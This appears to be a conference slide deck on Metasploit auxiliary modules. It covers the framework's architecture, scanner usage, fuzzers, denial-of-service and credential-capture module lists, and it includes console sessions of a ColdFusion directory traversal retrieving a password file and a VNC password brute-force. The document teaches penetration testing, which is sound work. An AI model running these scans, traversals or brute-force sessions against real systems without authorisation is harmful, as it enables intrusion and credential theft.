Metasploit Auxiliary Modules

Chris Gates
carnal0wnage
Outline

- Metasploit Framework Architecture
- Metasploit Libraries
- Auxiliary Modules Types
- Examples/Practical Examples
Metasploit Framework architecture

**LIBRARIES**
- Rex
- MSF Core
- MSF Base

**TOOLS**
- Rex

**PLUGINS**
- Rex

**MODULES**
- Exploit
- Payload
- Encoder
- NOP
- Auxiliary

**INTERFACES**
- Console
- CLI
- GUI & Armitage
- RPC

**RAPTID7**
Libraries – Rex

- **lib/rex/**
- “Ruby EXploitation library”
- Basic library for most tasks
- Sockets, protocols, command shell interface
- SSL, SMB, HTTP, XOR, Base64, random text
- Intended to be useful outside of the framework
Libraries – MSF Core

- **lib/msf/core**
- “Ruby EXploitation library”
- Mixins for exploits and auxiliaries
- Auxiliary ➔ Scanner, Report, AuthBrute, etc
Libraries – MSF Core

- Exploit ➔ HTTP, FTP, Oracle, MSSQL, SMB
• Auxiliary mixins makes use of REX libraries
Where they live

- Official modules live in msf3/modules/
  - Subdirectories organized by module type (exploit/, auxiliary/, post/, ...)
- ~/.msf3/modules/ has same structure, loaded at startup if it exists
What is an auxiliary module?

- Auxiliary – An exploit without a payload
  – Underappreciated*
- Used mostly for discovery, fingerprinting, and automating tasks :-)
- Makes use of the MSF REX library and other mixins
- Uses `run()` instead of `exploit()`
Types of Auxiliary Modules

- Various scanners for protocols (SMB, DCERPC, HTTP)
- Network protocol “fuzzers”
- Port scanner modules
- Wireless
- IPV6
- Denial of service modules
- Server modules
- Administrative access exploits
Various scanners for protocols

```ruby
msf auxiliary(arp_sweep) > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > show options

Module options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>RHOSTS</td>
<td></td>
<td>yes</td>
<td>The target address range or CIDR identifier</td>
</tr>
<tr>
<td>RPORT</td>
<td>22</td>
<td>yes</td>
<td>The target port</td>
</tr>
<tr>
<td>THREADS</td>
<td>1</td>
<td>yes</td>
<td>The number of concurrent threads</td>
</tr>
</tbody>
</table>

msf auxiliary(ssh_version) > cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt
[*] exec: cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt

msf auxiliary(ssh_version) > set RHOSTS file:/tmp/22_open.txt
RHOSTS => file:/tmp/22_open.txt
msf auxiliary(ssh_version) > set THREADS 50
THREADS => 50
msf auxiliary(ssh_version) > run

[*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52
[*] 192.168.1.137:22, SSH server version: SSH-1.99-OpenSSH_4.4
[*] Auxiliary module execution completed
```
Various scanners for protocols

```plaintext
msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 192.168.170.128
RHOSTS => 192.168.170.128
msf auxiliary(mssql_login) > run
[*] Target 192.168.170.128 DOES have a null sa account!
[*] Auxiliary module execution completed
msf auxiliary(mssql_login) > set RHOSTS 192.168.170.129
RHOSTS => 192.168.170.129
msf auxiliary(mssql_login) > run
[*] Target 192.168.170.129 DOES have a null sa account!
[*] Auxiliary module execution completed
msf auxiliary(mssql_login) > set RHOSTS 192.168.170.132
RHOSTS => 192.168.170.132
msf auxiliary(mssql_login) > run
[*] Target 192.168.170.132 DOES have a null sa account!
[*] Auxiliary module execution completed
msf auxiliary(mssql_login) >
```
Various scanners for protocols

• Designed to help with reconnaissance
• Dozens of useful service scanners
• Simple module format, easy to use
• Specify THREADS for concurrency
  – Keep this under 16 for native Windows
  – 256 is fine on Linux
• Uses RHOSTS instead of RHOST
Scanner tricks & tips

- Uses `OptAddressRange` option class, similar to nmap host specification
  - 192.168.0.1,3,5-7
  - 192.168.0.*
  - www.metasploit.com/24
  - file:/tmp/ranges.txt
Scanner Tricks & Tips

```
msf auxiliary(http_version) > set RHOSTS www.offensive-security.com
RHOSTS => www.offensive-security.com
msf auxiliary(http_version) > run

[*] 208.88.120.8 Apache ( 301-http://www.offensive-security.com/ )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(http_version) > set RHOSTS www.owasp.org
RHOSTS => www.owasp.org
msf auxiliary(http_version) > run

[*] 216.48.3.18 Apache/2.2.17 (Fedora) ( 301-http://216.48.3.18/index.php/Main_Page, Powered by PHP/5.3.5 )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Scanner Tricks & Tips

```
msf auxiliary(http_version) > set RHOSTS www.owasp.org/24
RHOSTS => www.owasp.org/24
msf auxiliary(http_version) > set THREADS 10
THREADS => 10
msf auxiliary(http_version) > run

[*] 216.48.3.18 Apache/2.2.17 (Fedora)  ( 301-http://216.48.3.18/index.php/Main_Page, Powered by PHP/5.3.5 )
[*] 216.48.3.19 Apache/2.2.17 (Fedora)
[*] 216.48.3.22 Apache ( 403-Forbidden )
[*] 216.48.3.21 Microsoft-IIS/6.0 ( Powered by ASP.NET )
[*] 216.48.3.26 Apache/2.2.17 (Fedora)  ( 302-http://ads.owasp.org/www/admin/index.php, Powered by PHP/5.3.5 )
[*] 216.48.3.25 Apache
[*] 216.48.3.23 Apache
[*] Scanned 026 of 256 hosts (010% complete)
[*] Scanned 053 of 256 hosts (020% complete)
[*] 216.48.3.66 SonicWALL
[*] 216.48.3.70 Web Server  ( 301-https://216.48.3.70/ )
[*] Scanned 077 of 256 hosts (030% complete)
[*] 216.48.3.106 Microsoft-IIS/7.5 ( 403-Forbidden, Powered by ASP.NET )
[*] Scanned 104 of 256 hosts (040% complete)
[*] Scanned 128 of 256 hosts (050% complete)
```
Network protocol “fuzzers”

<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dev/fuzz/http_fuzz</td>
<td>2008-03-03</td>
<td>normal</td>
<td>Generic HTTP Fuzzer.</td>
</tr>
<tr>
<td>dev/traversal_fuzz</td>
<td>normal</td>
<td>Directory Transversal Fuzzer</td>
<td></td>
</tr>
<tr>
<td>fuzzers/ftp/client_ftp</td>
<td>normal</td>
<td>Simple FTP Client Fuzzer</td>
<td></td>
</tr>
<tr>
<td>fuzzers/ftp/ftp_pre_post</td>
<td>normal</td>
<td>Simple FTP Fuzzer</td>
<td></td>
</tr>
<tr>
<td>fuzzers/http/http_form_field</td>
<td>normal</td>
<td>HTTP Form field fuzzer</td>
<td></td>
</tr>
<tr>
<td>fuzzers/http/http_get_uri_long</td>
<td>normal</td>
<td>HTTP GET Request URI Fuzzer (Incrementing Lengths)</td>
<td></td>
</tr>
<tr>
<td>fuzzers/http/http_get_uri_strings</td>
<td>normal</td>
<td>HTTP GET Request URI Fuzzer (Fuzzer Strings)</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smb/smb2_negotiate_corrupt</td>
<td>normal</td>
<td>SMB Negotiate SMB2 Dialect Corruption</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smb/smb_create_pipe</td>
<td>normal</td>
<td>SMB Create Pipe Request Fuzzer</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smb/smb_create_pipe_corrupt</td>
<td>normal</td>
<td>SMB Create Pipe Request Corruption</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smb/smb_negotiate_corrupt</td>
<td>normal</td>
<td>SMB Negotiate Dialect Corruption</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smb/smb_ntlm1_login_corrupt</td>
<td>normal</td>
<td>SMB NTLMv1 Login Request Corruption</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smb/smb_tree_connect</td>
<td>normal</td>
<td>SMB Tree Connect Request Fuzzer</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smb/smb_tree_connect_corrupt</td>
<td>normal</td>
<td>SMB Tree Connect Request Corruption</td>
<td></td>
</tr>
<tr>
<td>fuzzers/smtp/smtp_fuzzer</td>
<td>normal</td>
<td>SMTP Simple Fuzzer</td>
<td></td>
</tr>
<tr>
<td>fuzzers/ssh/ssh_kexinit_corrupt</td>
<td>normal</td>
<td>SSH Key Exchange Init Corruption</td>
<td></td>
</tr>
</tbody>
</table>
**Port scanner modules**

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CONCURRENCY</td>
<td>10</td>
<td>yes</td>
<td>The number of concurrent ports to check</td>
</tr>
<tr>
<td>FILTER</td>
<td></td>
<td>no</td>
<td>The filter string for capturing traffic</td>
</tr>
<tr>
<td>INTERFACE</td>
<td></td>
<td>no</td>
<td>The name of the interface</td>
</tr>
<tr>
<td>PCAPFILE</td>
<td></td>
<td>no</td>
<td>The name of the PCAP capture file to process</td>
</tr>
<tr>
<td>PORTS</td>
<td>1-10000</td>
<td>yes</td>
<td>Ports to scan (e.g., 22-25, 80, 110-900)</td>
</tr>
<tr>
<td>RHOSTS</td>
<td></td>
<td>yes</td>
<td>The target address range or CIDR identifier</td>
</tr>
<tr>
<td>SNAPLEN</td>
<td>65535</td>
<td>yes</td>
<td>The number of bytes to capture</td>
</tr>
<tr>
<td>THREADS</td>
<td>1</td>
<td>yes</td>
<td>The number of concurrent threads</td>
</tr>
<tr>
<td>TIMEOUT</td>
<td>1000</td>
<td>yes</td>
<td>The socket connect timeout in milliseconds</td>
</tr>
<tr>
<td>VERBOUSE</td>
<td>false</td>
<td>no</td>
<td>Display verbose output</td>
</tr>
</tbody>
</table>
Port scanner modules

```
msf auxiliary(tcp) > set RHOSTS carnal0wnage.com/24
RHOSTS => carnal0wnage.com/24
msf auxiliary(tcp) > set PORTS 80,443
PORTS => 80,443
msf auxiliary(tcp) > set THREADS 10
THREADS => 10
msf auxiliary(tcp) > run

[*] 209.20.85.5:80 - TCP OPEN
[*] 209.20.85.5:443 - TCP OPEN
[*] 209.20.85.4:80 - TCP OPEN
[*] 209.20.85.8:80 - TCP OPEN
[*] 209.20.85.12:80 - TCP OPEN
[*] 209.20.85.10:80 - TCP OPEN
[*] 209.20.85.13:80 - TCP OPEN
[*] 209.20.85.16:80 - TCP OPEN
[*] 209.20.85.14:80 - TCP OPEN
[*] 209.20.85.18:80 - TCP OPEN
[*] 209.20.85.18:443 - TCP OPEN
[*] 209.20.85.20:80 - TCP OPEN
[*] 209.20.85.23:80 - TCP OPEN
[*] 209.20.85.24:80 - TCP OPEN
[*] 209.20.85.29:80 - TCP OPEN
[*] 209.20.85.28:443 - TCP OPEN
[*] 209.20.85.26:443 - TCP OPEN
[*] 209.20.85.27:443 - TCP OPEN
[*] 209.20.85.26:80 - TCP OPEN
[*] 209.20.85.29:443 - TCP OPEN
[*] 209.20.85.30:80 - TCP OPEN
```

## Wireless

<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dos/wifi/cts_rts_flood</td>
<td></td>
<td>normal</td>
<td>Wireless CTS/RTS Flooder</td>
</tr>
<tr>
<td>dos/wifi/daringphucball</td>
<td></td>
<td>normal</td>
<td>Apple Airport B02.11 Probe Response Kernel Memory Corruption</td>
</tr>
<tr>
<td>dos/wifi/deauth</td>
<td></td>
<td>normal</td>
<td>Wireless DEAUTH Flooder</td>
</tr>
<tr>
<td>dos/wifi/fakeap</td>
<td></td>
<td>normal</td>
<td>Wireless Fake Access Point Beacon Flood</td>
</tr>
<tr>
<td>dos/wifi/file2air</td>
<td></td>
<td>normal</td>
<td>Wireless Frame (File) Injector</td>
</tr>
<tr>
<td>dos/wifi/netgear_ma521_rates</td>
<td></td>
<td>normal</td>
<td>NetGear MA521 Wireless Driver Long Rates Overflow</td>
</tr>
<tr>
<td>dos/wifi/netgear_wg311pci</td>
<td></td>
<td>normal</td>
<td>NetGear WG311v1 Wireless Driver Long SSID Overflow</td>
</tr>
<tr>
<td>dos/wifi/probe_resp_null_ssid</td>
<td></td>
<td>normal</td>
<td>Multiple Wireless Vendor NULL SSID Probe Response</td>
</tr>
<tr>
<td>dos/wifi/ssidlist_beacon</td>
<td></td>
<td>normal</td>
<td>Wireless Beacon SSID Emulator</td>
</tr>
<tr>
<td>dos/wifi/wifun</td>
<td></td>
<td>normal</td>
<td>Wireless Test Module</td>
</tr>
<tr>
<td>fuzzers/wifi/fuzz_beacon</td>
<td></td>
<td>normal</td>
<td>Wireless Beacon Frame Fuzzer</td>
</tr>
<tr>
<td>fuzzers/wifi/fuzz_proberesp</td>
<td></td>
<td>normal</td>
<td>Wireless Probe Response Frame Fuzzer</td>
</tr>
<tr>
<td>spoof/wifi/airpwn</td>
<td></td>
<td>normal</td>
<td>Airpwn TCP hijack</td>
</tr>
<tr>
<td>spoof/wifi/dnspwn</td>
<td></td>
<td>normal</td>
<td>DNSpwn DNS hijack</td>
</tr>
</tbody>
</table>

## Exploits

<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>linux/madwifi/madwifi_giwscan_cb</td>
<td>2006-12-08</td>
<td>average</td>
<td>Madwifi SIOCGIWSCAN Buffer Overflow</td>
</tr>
<tr>
<td>windows/driver/broadcom_wifi_ssid</td>
<td>2006-11-11</td>
<td>low</td>
<td>Broadcom Wireless Driver Probe Response SSID Overflow</td>
</tr>
<tr>
<td>windows/driver/dlink_wifi_rates</td>
<td>2006-11-13</td>
<td>low</td>
<td>D-Link DWL-6132 Wireless Driver Beacon Rates Overflow</td>
</tr>
</tbody>
</table>
• Makes use of the IPV6→rachet mixin

```ruby
msf auxiliary(tcp) > search ipv6
[*] Searching loaded modules for pattern 'ipv6'...

Auxiliary
=========

<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>scanner/discovery/ipv6_multicast_ping</td>
<td>normal</td>
<td>IPv6 Link Local/Node Local Ping Discovery</td>
<td></td>
</tr>
<tr>
<td>scanner/discovery/ipv6_neighbor</td>
<td>normal</td>
<td>IPv6 Local Neighbor Discovery</td>
<td></td>
</tr>
<tr>
<td>scanner/discovery/ipv6_neighbor_router_advertisement</td>
<td>normal</td>
<td>IPv6 Local Neighbor Discovery Using Router Advertisement</td>
<td></td>
</tr>
</tbody>
</table>
```
Denial of service modules

- Ummm Denial of Service modules...for those times when you need to force a reboot 😊

```
msf > search dos
[*] Searching loaded modules for pattern 'dos'...
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dos/cisco/ios_http_percentpercent</td>
<td>2000-04-26</td>
<td>normal</td>
<td>Cisco IOS HTTP GET /% request Denial of Service</td>
</tr>
<tr>
<td>dos/freebsd/nfsd/nfsd_mount</td>
<td>2004-06-24</td>
<td>normal</td>
<td>FreeBSD Remote NFS RPC Request Denial of Service</td>
</tr>
<tr>
<td>dos/http/3com_superstack_switch</td>
<td>2010-03-05</td>
<td>normal</td>
<td>3Com SuperStack Switch Denial of Service</td>
</tr>
<tr>
<td>dos/http/apache_mod_isapi</td>
<td>2010-07-09</td>
<td>normal</td>
<td>Apache mod_isapi &lt;= 2.2.14 Dangling Pointer</td>
</tr>
<tr>
<td>dos/http/apache_tomcat_transfer_encoding</td>
<td>2010-07-09</td>
<td>normal</td>
<td>Apache Tomcat Transfer-Encoding Information Disclosure and DoS</td>
</tr>
<tr>
<td>dos/http/dell_openmanage_post</td>
<td>2004-02-26</td>
<td>normal</td>
<td>Dell OpenManage POST Request Heap Overflow (win32)</td>
</tr>
<tr>
<td>dos/http/webrick_regex</td>
<td>2008-08-08</td>
<td>normal</td>
<td>Ruby WEBrick::HTTP::DefaultfileHandler DoS</td>
</tr>
<tr>
<td>dos/mdns/avahi_portzero</td>
<td>2008-11-14</td>
<td>normal</td>
<td>Avahi &lt; 0.6.24 Source Port 0 DoS</td>
</tr>
<tr>
<td>dos/ntp/ntpd_reserved_dos</td>
<td>2009-10-04</td>
<td>normal</td>
<td>NTP.org ntpd Reserved Mode Denial of Service</td>
</tr>
<tr>
<td>dos/pptp/ms02_063_pptp_dos</td>
<td>2002-09-26</td>
<td>normal</td>
<td>MS02-063 PPTP Malformed Control Data Kernel Denial</td>
</tr>
<tr>
<td>dos/samba/lsa_addprivs_heap</td>
<td>2003-09-17</td>
<td>normal</td>
<td>Samba lsa io privilege set Heap Overflow</td>
</tr>
<tr>
<td>dos/samba/lsa_transnames_heap</td>
<td></td>
<td>normal</td>
<td>Samba lsa io_trans_names Heap Overflow</td>
</tr>
<tr>
<td>dos/smtplib/sendmail_prescan</td>
<td></td>
<td>normal</td>
<td>Sendmail SMTP Address prescan &lt;= 8.12.8 Memory Cor</td>
</tr>
</tbody>
</table>
Server modules

- Evil services, mostly for stealing credentials

```
msf auxiliary(tcp) > use auxiliary/server/
use auxiliary/server/browser_autopwn
use auxiliary/server/capture/ftp
use auxiliary/server/capture/http
use auxiliary/server/capture/http_ntlm
use auxiliary/server/capture/imap
use auxiliary/server/capture/pop3
msf auxiliary(tcp) > use auxiliary/server/
```
Administrative access exploits

- Directory traversals
  - Vmware, coldfusion
- Authentication bruteforcing
  - SMB, HTTP, FTP
- Web application vulnerabilities
Administrative access exploits

- Directory traversal

```bash
msf auxiliary(adobe_xml_inject) > set FILE "C:/ColdFusion8/lib/password.properties"
FILE => C:/ColdFusion8/lib/password.properties
msf auxiliary(adobe_xml_inject) > run

[+] 200 for /flex2gateway/
[+] 200 for /flex2gateway/http 200
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><header name="AppendToGatewayUrl"><string>;jsessionid=f030f177d2c0de7d831c4551d3a3051e2a17</string></header><body targetURI="/onResult" responseURI=""><object type="flex.messaging.messages.AcknowledgeMessage"><traits><string>timestamp</string><headers><string>body</string><string>correlationId</string><string>messageId</string><string>timeToLive</string><string>clientId</string><string>destination</string></traits><double>1.289048050336E12</double><object><traits><string>DSId</string><string>BD2DF630-A008-2614-6015-B88A3781A715</string></object><null/></string>#Mon Jan 25 22:32:57 PST 2010
dspassword=[[**********]]
password=E5262
encrypted=true
<+</string><string>BD2DF630-A02D-1A6C-3AFA-80E404005BF7</string><double>0.0</double><string>BD2DF630-A019-DC40-A137-6F30E7A2AAE4</string><null/></object></body></amfx>

[+] 500 for /flex2gateway/httpsecure
[+] 200 for /flexgateway/servlet/ffailing
```
Authentication Bruteforcing

```
msf auxiliary(vnc_login) > set PASS_FILE /home/user/pentest/msf3/data/wordlists/vnc_passwords.txt
PASS_FILE => /home/user/pentest/msf3/data/wordlists/vnc_passwords.txt
msf auxiliary(vnc_login) > set RHOSTS 192.168.26.135
RHOSTS => 192.168.26.135
msf auxiliary(vnc_login) > set BRUTEFORCE_SPEED 2
BRUTEFORCE_SPEED => 2
msf auxiliary(vnc_login) > run

[*] 192.168.26.135:5900 - Starting VNC login sweep
[*] 192.168.26.135:5900 - Attempting VNC login with password 'password'
[+] 192.168.26.135:5900, VNC server protocol version : 3.6
[*] 192.168.26.135:5900 - Attempting VNC login with password 'vncpassword'
[*] 192.168.26.135:5900, VNC server protocol version : 3.6
[*] 192.168.26.135:5900 - Attempting VNC login with password 'VNC'
[*] 192.168.26.135:5900, VNC server protocol version : 3.6
[*] 192.168.26.135:5900 - Attempting VNC login with password 'vnc'
[*] 192.168.26.135:5900, VNC server protocol version : 3.6
[*] 192.168.26.135:5900 - Attempting VNC login with password 'p@ssw0rd'
[*] 192.168.26.135:5900, VNC server protocol version : 3.6
[*] 192.168.26.135:5900 - Attempting VNC login with password 'vncpass'
[*] 192.168.26.135:5900, VNC server protocol version : 3.6
[+] 192.168.26.135:5900, VNC server password : "vncpass"
[+] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_login) >
```
Practical Examples

• Practical Example
  – Useragent checker
Questions?

Chris Gates

@carnal0wnage

cg@metasploit.com